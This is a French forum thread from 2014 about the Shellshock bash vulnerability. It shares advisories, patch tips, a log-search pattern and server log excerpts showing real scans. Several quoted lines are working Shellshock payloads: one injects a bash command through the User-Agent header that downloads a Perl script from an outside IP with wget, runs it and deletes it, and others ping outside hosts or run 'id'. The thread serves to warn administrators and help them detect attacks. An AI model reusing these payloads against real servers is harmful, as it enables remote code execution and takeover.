Bash 'shellshock' scan of the Internet

Stéphane Bortzmeyer CC BY-SA 25/09/2014

Une vulnérabilité idiote dans le #shell #bash (CVE-2014-6271) permet, dans certains environnements (serveurs Web, notamment), d’exécuter des commandes à distance : ▻https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-att ▻http://marc.info/?l=oss-security&m=141157106132018&w=2

Administrateurs système Unix, il est urgent d’appliquer les mises à jour de bash.

Les script kiddies sont à l’attaque depuis hier soir, visant notamment les sites Web : ▻https://gist.github.com/anonymous/929d622f3b36b00c0be1

IP Address: 74.201.85.67
Location: Atlanta, GA 30303
http://target.tld:80/cgi-bin/test.sh
http://target.tld:80/cgi-bin/info.sh
http://target.tld:80/cgi-bin/test.sh
http://target.tld:80/cgi-bin/php.fcgi
http://target.tld:80/cgi-bin/php
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
Timestamp: 9/26/2014 8:39:45 AM

mais aussi des services comme git : ▻http://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ckryys4

Le patch est incomplet et un nouveau CVE a été enregistré, CVE-2014-7169, pour suivre le problème. Voir les nouvelles de ce ShellShock 2 en ▻http://seenthis.net/messages/296724

#sécurité_informatique #shellshock

#Bonne

Stéphane Bortzmeyer CC BY-SA

Stéphane Bortzmeyer @stephane CC BY-SA 25/09/2014

Bonne (comme d’habitude) synthèse et explication sur ArsTechnica ▻http://arstechnica.com/security/2014/09/bug-in-bash-shell-creates-big-security-hole-on-anything-with-nix-in-it Des explications techniques en ▻http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html ou ▻https://news.ycombinator.com/item?id=8361574

Stéphane Bortzmeyer @stephane CC BY-SA
tbn @thibnton PUBLIC DOMAIN 25/09/2014

pour @booz, basher.

tbn @thibnton PUBLIC DOMAIN
liotier @liotier CC BY-SA 25/09/2014

“Everything you need to know about the Shellshock Bash bug”
▻http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html

liotier @liotier CC BY-SA
liotier @liotier CC BY-SA 25/09/2014

Les utilisateurs de #Debian #Jessie peuvent temporairement passer #Bash en #Sid... ▻https://security-tracker.debian.org/tracker/CVE-2014-6271

liotier @liotier CC BY-SA
Stéphane Bortzmeyer @stephane CC BY-SA 25/09/2014

Si vous voulez voir le balayage de vos serveurs HTTP, egrep '$\ *$\ *\{' $HTTP_LOG Attention, celui qui fait de la pub pour ►http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html est un gentil.
Un exemple du gentil :
209.126.230.72 - - [25/Sep/2014:06:12:47 +0000] "GET / HTTP/1.0" 200 177 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" ada.bortzmeyer.org

Les résultats du balayage du gentil (beaucoup de sites vulnérables) : ▻http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html
Et un exemple d’un méchant :
89.207.135.125 - - [2014-09-25 xx:xx:xx+0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Stéphane Bortzmeyer @stephane CC BY-SA
Fil @fil 25/09/2014

sur seenthis on a vu passer
195.154.255.5 - - [25/Sep/2014:01:33:09 +0200] "GET / HTTP/1.1" 301 332 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" 195.154.255.5 - - [25/Sep/2014:09:35:26 +0200] "GET /local/cache-vignettes/L120xH26/95e44784569050aeecd6d992b19327fd-6a619.png HTTP/1.1" 200 2885 "http://seenthis.net/sites/553434" "() { :;}; echo; /usr/bin/id;"
le second vient du même IP que le premier, et tente de passer par le champ referer ; sur mes autres serveurs je n’ai rien trouvé d’autre que le gentil

Fil @fil
b_b @b_b PUBLIC DOMAIN 25/09/2014

Quelques traces de méchants par chez moi aussi :
89.207.135.125 - - [25/Sep/2014:09:22:58 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" 89.207.135.125 - - [25/Sep/2014:11:02:44 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
même IP sur une autre machine :
89.207.135.125 - - [25/Sep/2014:10:33:05 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

b_b @b_b PUBLIC DOMAIN
liotier @liotier CC BY-SA 25/09/2014

Les recommandations du CERT-FR : ▻http://www.cert.ssi.gouv.fr/site/CERTFR-2014-ALE-006/index.html

liotier @liotier CC BY-SA
Stéphane Bortzmeyer @stephane CC BY-SA 26/09/2014

Bon article sur ce que voit un pot de miel (aka les vraies attaques) ▻http://www.alienvault.com/open-threat-exchange/blog/attackers-exploiting-shell-shock-cve-2014-6721-in-the-wild

Stéphane Bortzmeyer @stephane CC BY-SA
liotier @liotier CC BY-SA 26/09/2014

Un petit POC d’exploitation via #DHCP : ▻https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept

liotier @liotier CC BY-SA
Stéphane Bortzmeyer @stephane CC BY-SA 28/09/2014

Il y a eu maintenant une très grande quantité d’articles sur ShellShock. Maintenant, il ne faut plus tout lister, il faut trier.
En français, la meilleure explication technique, de loin : ▻https://linuxfr.org/news/une-faille-nommee-shellshock
Une très bonne explication par le découvreur de la faille lui-même, ainsi qu’une discussion de ce que bash aurait dû faire : ▻http://unix.stackexchange.com/questions/157381/when-was-the-shellshock-cve-2014-6271-7169-bug-introduced-and-wh
Une autre discussion sur comment réparer le problème proprement, argumentant qu’ajouter automatiquement toute fonction contenue dans une variable d’environnement quelconque était de la folie : ▻http://arstechnica.com/security/2014/09/still-more-vulnerabilities-in-bash-shellshock-becomes-whack-a-mole
Pour éviter d’avoir cinquante mille PoC (Proof of Concept, une exploitation de la faille pour montrer qu’elle est réelle), un projet les regroupe toutes sur Github : ▻https://github.com/mubix/shellshocker-pocs

Stéphane Bortzmeyer @stephane CC BY-SA

Écrire un commentaire

Bash ’shellshock’ scan of the Internet

/bash-shellshock-scan-of-internet.html